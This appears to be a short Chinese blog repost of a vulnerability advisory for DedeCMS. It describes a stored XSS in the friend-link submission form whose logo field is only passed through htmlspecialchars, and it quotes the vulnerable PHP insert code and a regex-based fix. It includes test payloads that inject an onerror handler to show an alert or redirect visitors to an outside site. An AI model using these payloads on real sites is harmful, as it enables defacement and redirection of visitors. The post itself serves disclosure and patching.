这个问题应该很久了 最近发现有用这个的蠕虫,dede 前台提交友情链接 只用htmlspecialchars简单处理了一下 可以插入代码
plus/flink_add.php 提交:

表单中提交 图片地址

http://111.cc ' onerror='alert(98);'

http://111.cc 'onerror=location.href='http://www.baidu.com

只用htmlspecialchars做了处理 没有判断数据有效性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$msg = htmlspecialchars($msg);
 
$email = htmlspecialchars($email);
 
$webname = htmlspecialchars($webname);
 
$url = htmlspecialchars($url);
 
$logo = htmlspecialchars($logo);
 
$typeid = intval($typeid);
 
$dtime = time();
 
$query = "INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck)
 
VALUES('50','$url','$webname','$logo','$msg','$email','$typeid','$dtime','0')";

测试方法
http://111.cc ' onerror='alert(98);'

http://111.cc 'onerror=location.href='http://0day5.com/

修复办法:
plus/flink.php

对提交数据做一下判断

1
2
3
4
5
6
7
if (!preg_match('/http:\/\/[\w.]+[\w\/]*[\w.]*\??[\w=&\+\%]*/is',$logo)){
 
ShowMsg('表单url问题!','-1',1);
 
die();
 
}
摘自:http://0day5.com/archives/925
posted on 2014-03-21 14:40  milantgh  阅读(337)  评论(0编辑  收藏  举报